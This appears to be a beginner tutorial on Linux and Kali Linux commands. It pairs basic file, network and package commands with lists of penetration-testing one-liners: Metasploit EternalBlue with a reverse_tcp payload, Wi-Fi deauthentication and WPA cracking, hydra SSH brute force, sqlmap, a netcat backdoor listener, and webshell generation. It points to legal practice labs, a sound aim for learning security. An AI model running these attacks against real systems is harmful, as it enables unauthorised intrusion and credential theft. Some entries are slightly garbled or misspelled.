

Step 1: Basics Before Kali Linux Commands

Before going into Kali-specific tools, you should first master **Linux basics** because Kali is built on Debian.

Must-Learn Basic Linux Commands

1. File & Directory Commands

- `pwd` → Show current directory
- `ls` → List files
- `cd <dir>` → Change directory
- `mkdir <name>` → Create directory
- `rm <file>` → Delete file
- `rmdir <dir>` → Delete directory
- `cp <src> <dest>` → Copy files
- `mv <src> <dest>` → Move/rename files

2. File Viewing & Editing

- `cat file.txt` → View contents
- `nano file.txt` → Edit file
- `less file.txt` → View file page by page

3. System Info

- `uname -a` → System details
- `df -h` → Disk usage
- `free -m` → RAM usage
- `top` or `htop` → Running processes

4. User Management

- `whoami` → Current user
- `adduser <name>` → Add user
- `passwd <name>` → Change password
- `su <user>` → Switch user

Step 2: Kali Linux Specific Commands (Cybersecurity Tools)

Once you know Linux basics, you can practice Kali-specific tools:

Information Gathering

- `nmap <target>` → Scan target machine
- `whois <domain>` → Domain details
- `dig <domain>` → DNS lookup
- `theHarvester -d example.com -l 100 -b google` → Email harvesting

Vulnerability Analysis

- `nikto -h http://target.com` → Web vulnerability scanner
- `wpscan --url http://target.com` → WordPress scanner

Exploitation Tools

- `msfconsole` → Start Metasploit Framework
- `search exploit_name` → Search for exploits

Wireless Attacks

- `airmon-ng start wlan0` → Enable monitor mode
- `airodump-ng wlan0mon` → Capture packets
- `aircrack-ng capture.cap` → Crack Wi-Fi password

Sniffing & Spoofing

- `wireshark` → Open GUI packet analyzer
- `ettercap -G` → Start Ettercap GUI

Maintaining Access

- `netcat -lvp 4444` → Open backdoor listener
- `ssh user@ip` → Remote login

Step 3: Practice Environment

Never practice on real systems without permission (illegal).

Instead, practice on:

1. **Virtual Machines (VMware/VirtualBox)** → Run Kali & target OS.
2. **Metasploitable 2 / DVWA (Damn Vulnerable Web App)** → Safe targets for hacking practice.
3. **TryHackMe / HackTheBox** → Online hacking labs.

Linux Commands with Examples

File & Directory Management

Command	Example	Explanation
pwd	pwd	Print current working directory
ls	ls -l	List files in long format
ls -a	ls -a	Show hidden files
cd	cd /etc	Change directory
mkdir	mkdir test_folder	Create directory
rmdir	rmdir test_folder	Remove empty directory
rm -r	rm -r folder1	Remove directory & contents
cp	cp file1.txt /home/user/	Copy file
mv	mv file1.txt file2.txt	Rename/move file

File Handling

Command	Example	Explanation
cat	cat file.txt	Show file contents
tac	tac file.txt	Show file contents in reverse
head	head -n 5 file.txt	Show first 5 lines
tail	tail -n 5 file.txt	Show last 5 lines
less	less file.txt	Scroll through file
touch	touch new.txt	Create empty file
nano	nano file.txt	Edit file in Nano
vim	vim file.txt	Edit file in Vim
echo	echo "Hello World" > hello.txt	Write text to file
wc	wc -l file.txt	Count lines in file

User & Permission Management

Command	Example	Explanation
whoami	whoami	Show current user
id	id	Show user & group info
adduser	sudo adduser student	Add new user
passwd	passwd student	Change user password
su	su root	Switch user
groups	groups student	Show groups user belongs to
chmod	chmod 755 file.txt	Change file permissions
chown	sudo chown user:user file.txt	Change file ownership

Networking Commands

Command	Example	Explanation
ifconfig	ifconfig	Show IP/network details
ip a	ip a	Show IP addresses
ping	ping google.com	Test network connection
traceroute	traceroute google.com	Show network hops
netstat	netstat -tulnp	Show open ports & services
ss	ss -tulpn	Show socket statistics
curl	curl http://example.com	Fetch webpage
wget	wget http://example.com/file.zip	Download file
scp	scp file.txt user@192.168.1.10:/home/user/	Copy file to remote system
ssh	ssh user@192.168.1.10	Remote login

Process & System Management

Command	Example	Explanation
ps	ps aux	List running processes
top	top	Show live processes
htop	htop	Better process viewer
kill	kill 1234	Kill process (PID 1234)
uptime	uptime	Show system uptime
df -h	df -h	Disk usage
du -sh	du -sh folder/	Folder size
free -m	free -m	Show RAM usage
uname -a	uname -a	System details
history	history	Show command history

Search & Find

Command	Example	Explanation
find	find /home -name file.txt	Find file
locate	locate passwd	Locate files (uses index)
grep	grep "root" /etc/passwd	Search text in file
grep -r	grep -r "error" /var/log/	Recursive search
which	which python3	Show command location
whereis	whereis ls	Show binary, source, and man page

Package Management (Debian/Kali)

Command	Example	Explanation
apt update	sudo apt update	Refresh package list
apt upgrade	sudo apt upgrade	Upgrade all packages
apt install	sudo apt install nmap	Install package
apt remove	sudo apt remove nmap	Remove package
dpkg -i	sudo dpkg -i tool.deb	Install .deb file
dpkg -l	`dpkg -l`	grep nmap`

Compression & Archiving

Command	Example	Explanation
tar -cvf	tar -cvf backup.tar folder/	Create tar archive
tar -xvf	tar -xvf backup.tar	Extract tar archive
gzip	gzip file.txt	Compress file
gunzip	gunzip file.txt.gz	Decompress file
zip	zip archive.zip file1 file2	Create zip
unzip	unzip archive.zip	Extract zip

Useful Shortcuts

- `!!` → Run last command again
- `!n` → Run command number n from history
- `Ctrl + C` → Stop running process
- `Ctrl + L` → Clear terminal
- `clear` → Clear terminal screen

Part 1 – Linux Command Categories (Foundation for Kali)

File & Directory

`pwd, ls, cd, mkdir, rmdir, rm -r, cp, mv, touch, cat, head, tail, less, nano, vim`

User & Permissions

`whoami, id, adduser, passwd, su, sudo, groups, chmod, chown`

Networking

`ifconfig, ip a, ping, traceroute, netstat, ss, curl, wget, scp, ssh, dig, whois`

Processes & System

`ps, top, htop, kill, pkill, uptime, df -h, du -sh, free -m, uname -a, history`

Search & Find

`find, locate, grep, which, whereis`

Packages

`apt update, apt upgrade, apt install <tool>, apt remove <tool>, dpkg -i, dpkg -l`

Archiving

`tar, gzip, gunzip, zip, unzip`

Part 2 – Kali Linux Tool Categories & Commands

Kali comes with **hundreds of tools**. You don't need 600 at once — instead, learn **category by category**:

Information Gathering

- `nmap -sV target.com` → Port & service scan
- `whois target.com` → Domain details
- `dig target.com` → DNS lookup
- `dnsenum target.com` → DNS enumeration
- `theHarvester -d target.com -l 200 -b google` → Collect emails, subdomains

Vulnerability Analysis

- `nikto -h http://target.com` → Web vulnerability scan
- `wpscan --url http://target.com --enumerate u` → WordPress scanner
- `lynis audit system` → System audit
- `openvas-start` → Start OpenVAS (Greenbone Vulnerability Manager)

Exploitation Tools

- `msfconsole` → Start Metasploit
- `search exploit windows/smb` → Search exploit in Metasploit
- `use exploit/windows/smb/ms17_010_eternalblue` → Load exploit
- `set payload windows/meterpreter/reverse_tcp` → Set payload
- `set RHOST <target>` → Set target IP
- `exploit` → Run attack

Wireless Attacks

- `airmon-ng start wlan0` → Enable monitor mode
- `airodump-ng wlan0mon` → Capture Wi-Fi packets
- `aireplay-ng --deauth 10 -a <BSSID> wlan0mon` → Deauth attack
- `aircrack-ng capture.cap` → Crack WPA/WPA2 password

Sniffing & Spoofing

- wireshark → Open GUI packet sniffer
- tcpdump -i wlan0 → Capture packets CLI
- ettercap -G → Start Ettercap GUI
- dsniff → Capture network credentials

Password Attacks

- hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com ssh
- john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
- hashcat -m 0 -a 0 hash.txt wordlist.txt

Web Application Hacking

- sqlmap -u "http://target.com/index.php?id=1" --dbs
- burpsuite → Proxy for web hacking
- dirb http://target.com/ /usr/share/wordlists/dirb/common.txt
- gobuster dir -u http://target.com -w wordlist.txt

Forensics

- binwalk file.bin → Extract hidden files
- strings file → Extract readable strings
- volatility -f memdump.raw imageinfo → Memory forensics

Reverse Engineering

- radare2 binaryfile → Binary analysis
- gdb program → Debug executable

Maintaining Access

- netcat -lvp 4444 → Listener backdoor
- ssh user@target → Persistent remote login
- weeveily generate backdoor.php pass123 → Generate webshell

Reporting Tools

- dradis → Centralized reporting platform
- faraday → Team collaboration & reporting

Final Tip

Instead of memorizing all 600 tools, follow this strategy:

1. Master **Linux basics** (file, process, networking, permissions).
2. Learn **top tools from each category** (Nmap, Nikto, Metasploit, Aircrack, Hydra, SQLmap, Wireshark).
3. Practice on **TryHackMe / HackTheBox / DVWA / Metasploitable**.

cd Command in Linux

Basic Usage

`cd <directory_name>`

This will move you into the given directory.

Examples

1. **Move into a folder**

`cd Documents`

Moves you from current location into the **Documents** folder.

2. **Move back (one step)**

`cd ..`

Goes **up one level** in the directory tree.

Example: `/home/user/Documents` → `/home/user`

3. **Go to home directory**

`cd ~`

Takes you back to your **home folder** (like `/home/username`).

4. **Go to root directory**

`cd /`

Takes you to the **root of filesystem**.

5. Absolute path

```
cd /etc/apt
```

Moves directly to `/etc/apt` no matter where you are.

6. Relative path

```
cd ../Downloads
```

Moves to **Downloads folder**, one step back from the current directory.

7. Back to previous directory

```
cd -
```

Switches you to the **last directory you were in**. (very useful!)

8. Multiple jumps

```
cd ../../
```

Goes **two levels up** in the directory structure.

Pro Tips

- `pwd` → Always use this after `cd` to confirm where you are.
- Use Tab for **auto-completion** of folder names.
- Combine with `ls` to see files after moving:
- `cd /etc && ls`

Linux Commands Explained with Examples

1.pwd → Print Working Directory

Shows your **current location** in the filesystem.

```
pwd
```

Example:

```
/home/kali/Documents
```

2.ls → List Files & Folders

Lists files in the current directory.

```
ls
```

Lists all files/folders.

`ls -l`

Shows detailed info (permissions, size, owner).

`ls -a`

Shows **hidden files** (starting with `.`).

`ls -lh`

Human-readable sizes (KB, MB, GB).

3.mkdir → Make Directory

Creates a new folder.

`mkdir test_folder`

Creates folder named **test_folder**.

`mkdir -p parent/child`

Creates nested folders in one go.

4.rmdir → Remove Empty Directory

Deletes a folder **only if it's empty**.

`rmdir test_folder`

Deletes empty test_folder.

If it has files, use `rm -r` instead.

rm → Remove Files/Directories

Deletes files or folders.

`rm file.txt`

Deletes file.txt.

`rm -r folder`

Deletes folder **and everything inside it**.

`rm -rf folder`

Force delete (⚠ dangerous, no confirmation).

5.cp → Copy Files/Folders

Copies files or directories.

```
cp file1.txt file2.txt
```

Copies file1 into file2.

```
cp file1.txt /home/kali/Desktop/
```

Copies file1 into Desktop.

```
cp -r folder1 folder2
```

Copies a whole folder.

6.mv → Move / Rename

Moves or renames files.

```
mv file.txt /home/kali/Desktop/
```

Moves file to Desktop.

```
mv oldname.txt newname.txt
```

Renames file.

7.cat → Show File Contents

Displays text inside a file.

```
cat file.txt
```

Prints contents of file.txt.

```
cat file1 file2 > combined.txt
```

Combines multiple files into one.

8.head & tail

- head → First 10 lines
- tail → Last 10 lines

```
head file.txt
```

```
tail file.txt
```

```
head -n 5 file.txt
```

First 5 lines.

```
tail -f logfile.log
```

Live monitoring of log file.

9.touch → Create Empty File

```
touch new.txt
```

Creates an empty file.

```
touch file1 file2 file3
```

Creates multiple empty files.

10.echo → Print / Write to File

```
echo "Hello Kali"
```

Prints message.

```
echo "Hello Kali" > file.txt
```

Writes message to a file.

```
echo "New Line" >> file.txt
```

Appends text at the end of a file.